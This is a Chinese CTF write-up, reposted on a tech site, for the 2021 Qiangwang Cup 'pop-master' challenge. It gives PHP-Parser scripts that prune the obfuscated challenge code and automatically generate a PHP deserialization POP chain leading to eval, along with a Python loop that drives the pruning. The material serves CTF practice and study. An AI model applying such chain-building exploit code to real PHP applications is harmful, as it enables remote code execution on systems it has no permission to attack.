IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 强网杯2021 pop-master -> 正文阅读

[PHP知识库]强网杯2021 pop-master

这个题目比较好的思路是写静态分析利用代码
当然这个题目可能混淆不是很多,所以利用起来稍微方便一点,可以参考如下代码
首先下载pop代码保存为class.php

保存下面php静态分析代码为filter.php.需要修改你本地的autoload.php位置和entryFunc的内容

<?php
ini_set('max_execution_time', '300');
require 'D:\phpstudy_pro\Extensions\php\php8.0.2nts\ext\vendor\autoload.php';

use PhpParser\Error; //use to catch error
use PhpParser\NodeDumper; //use to read node
use PhpParser\ParserFactory; //use to anlaysis code
use PhpParser\PrettyPrinter;

$entryFunc = 'EuHobE';
$inputPhpFile = 'class.php';
$outputPhpFile = 'class.php';

$code = file_get_contents($inputPhpFile);
echo "[+]get file done\n";

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
    $stmts = $parser->parse($code);
} catch (Error $e) {
    echo "Parse error:{$e->getMessage()}\n";
    exit(0);
}
$deleteCnt = 0;
$deleteCla = 0;
$nodeDumper = new NodeDumper;

foreach ($stmts as $k => $class_point) {
    if ($class_point->gettype() === 'Stmt_Nop')
        continue;
    $flag = 0;
    foreach ($class_point->stmts as $kk => $subpoint) {
        if ($subpoint->gettype() !== 'Stmt_Property') {
            $flag = 1;
        }
        if ($subpoint->gettype() === 'Stmt_Nop')
            continue;
        //开始过滤class内部的方法
        if ($subpoint->gettype() === "Stmt_ClassMethod") {

            //首先,如果方法只出现了一次,说明只有定义没有调用,那么可以删掉,不过对于入口函数可能只有一个,所以不可以删掉
            if (substr_count($code, $subpoint->name->name) == 1 && $subpoint->name->name !== $entryFunc) {
                $deleteCnt++;
                unset($class_point->stmts[$kk]);
                continue;
            }
            //如果成员方法没有参数,那么无法利用
            if (!$subpoint->params) {
                $deleteCnt++;
                unset($class_point->stmts[$kk]);
                continue;
            }
            //获得这个函数的参数名字
            $parms = $subpoint->params[0]->var->name;
            foreach ($subpoint->stmts as $kkk => $method_point) {
                if ($method_point->gettype() === 'Stmt_Expression' && $method_point->expr->gettype() === 'Expr_Assign' && $method_point->expr->var->name === $parms) {
                    $deleteCnt++;
                    unset($class_point->stmts[$kk]);
                    continue;
                }
                if ($method_point->gettype() === 'Stmt_For') {
                    foreach ($method_point->stmts as $kkkk => $for_point) {
                        if ($for_point->gettype() === 'Stmt_Expression' && $for_point->expr->gettype() === 'Expr_Assign' && $for_point->expr->var->name === $parms) {
                            $deleteCnt++;
                            unset($class_point->stmts[$kk]);
                            continue;
                        }
                    }
                }
                if ($method_point->gettype() === 'Stmt_Expression' && $method_point->expr->gettype() === 'Expr_Eval') {
                    if (substr_count($code, $method_point->expr->expr->name) === 1) {
                        $deleteCnt++;
                        unset($class_point->stmts[$kk]);
                        continue;
                    }
                }
            }
        }
    }
    if ($flag == 0) {
        $deleteCla++;
        unset($stmts[$k]);
    }
}
echo '[+] filter done' . "\n";

// 输出
$prettyPrinter = new PrettyPrinter\Standard;
$afterFilter = $prettyPrinter->prettyPrintFile($stmts);
file_put_contents($outputPhpFile, $afterFilter);
echo '[+] total filter: ' . $deleteCnt . ' function' . "\n";
echo '[+] total filter: ' . $deleteCla . ' class' . "\n";

运行如下python代码将自动开始过滤

import os
number = 1
while number != 0:
    str = os.popen("php filter.php").read()
    print(str)
    str = str .split('\n')
    number = int(str[2].split(':')[1].split('function')[0]) + \
        int(str[3].split(':')[1].split('class')[0])

在这里插入图片描述
可能会报错,不要管他
在这里插入图片描述
直到如下
在这里插入图片描述
现在还有大概这么多代码,下面开始分析利用链
在这里插入图片描述
这道题因为只有一个eval,每个 class只有一个属性,稍微简单了一点
exp.php

<?php
require 'D:\phpstudy_pro\Extensions\php\php8.0.2nts\ext\vendor\autoload.php';

use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter;

$entrFunc = 'paWQm5';
$input_file = 'class.php';

$code = file_get_contents($input_file);
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);


function modify($fun_name)
{
    global $parser;
    global $code;
    $stmts = $parser->parse($code);
    global $entrFunc;
    foreach ($stmts as $k => $class_point) {
        foreach ($class_point->stmts as $kk => $class_member) {
            if ($class_member->gettype() === 'Stmt_ClassMethod') {
                foreach ($class_member->stmts as $kkk => $method_member) {
                    if ($method_member->gettype() === 'Stmt_Expression') {
                        if ($fun_name === 'eval') {
                            if ($method_member->expr->gettype() === 'Expr_Eval') {
                                modify($class_member->name->name);
                                echo "->" . $class_point->name->name;
                            }
                        } else if (@$method_member->expr->name->name === $fun_name) {
                            if ($class_member->name->name !== $entrFunc) {
                                modify($class_member->name->name);
                                echo "->" . $class_point->name->name;
                            } else {
                                echo $class_point->name->name;
                                return 0;
                            }
                        }
                    }
                }
            }
        }
    }
}
$class_name = [];
$shuxing_name = [];
$func_name = [];
$diaoyong_func = [];
$stmts = $parser->parse($code);
foreach ($stmts as $k => $class_point) {
    if ($class_point->gettype() === 'Stmt_Class') {
        $class_name[$k] = $class_point->name->name;
        $func = [];
        $shuxing = [];
        $diaoyong_zong = [];
        foreach ($class_point->stmts as $kk => $class_member) {
            if ($class_member->gettype() === 'Stmt_Property') {
                array_push($shuxing, $class_member->props[0]->name->name);
            } else if ($class_member->gettype() === 'Stmt_ClassMethod') {
                array_push($func, $class_member->name->name);
                $diaoyong = [];
                foreach ($class_member->stmts as $kkk => $method_member) {
                    if ($method_member->gettype() === 'Stmt_If') {
                        foreach ($method_member->stmts as $kkkk => $if_member) {
                            if ($if_member->gettype() === 'Stmt_Expression') {
                                if ($if_member->expr->gettype() === 'Expr_MethodCall') {
                                    array_push($diaoyong, $if_member->expr->name->name);
                                }
                            }
                        }
                    } else if ($method_member->gettype() === 'Stmt_Expression') {
                        if ($method_member->expr->gettype() === 'Expr_Eval') {
                            array_push($diaoyong, 'eval');
                        } else if ($method_member->expr->gettype() === 'Expr_MethodCall') {
                            array_push($diaoyong, $method_member->expr->name->name);
                        }
                    }
                }
                $diaoyong_zong[$class_member->name->name] = $diaoyong;
            }
        }
        $func_name[$k] = $func;
        $shuxing_name[$k] = $shuxing;
        $diaoyong_func[$k] = $diaoyong_zong;
    }
}

$diaoyong_lian = [];
$diaoyong_funcs = [];
function digui($func)
{
    global $entrFunc;
    global $class_name;
    global $diaoyong_funcs;
    global $diaoyong_lian;
    global $diaoyong_func;
    if ($func === $entrFunc) {
        return 0;
    } else {
        foreach ($diaoyong_func as $k => $diaoyong) {
            foreach ($diaoyong as $kk => $ziiaoyong) {
                if (in_array($func, $ziiaoyong)) {
                    array_unshift($diaoyong_lian, $k);
                    array_unshift($diaoyong_funcs, $kk);
                    digui($kk);
                }
            }
        }
    }
}
digui('eval');


$left = '$A';
$all = "<?php\nrequire_once('class.php');\n";
foreach ($diaoyong_lian as $k => $value) {
    $right = "=new $class_name[$value]();\n";
    $all .= $left . $right;
    $left .= '->' . $shuxing_name[$k][0];
}

$all .= 'echo serialize($A);';
file_put_contents('5.php', $all);

运行会生成5.php
即我们的pop链
在这里插入图片描述
接下来直接开打就好,注意argv后面加个//因为拼接的时候有多余的字符
在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-13 11:42:08  更:2021-08-13 11:44:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 16:16:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码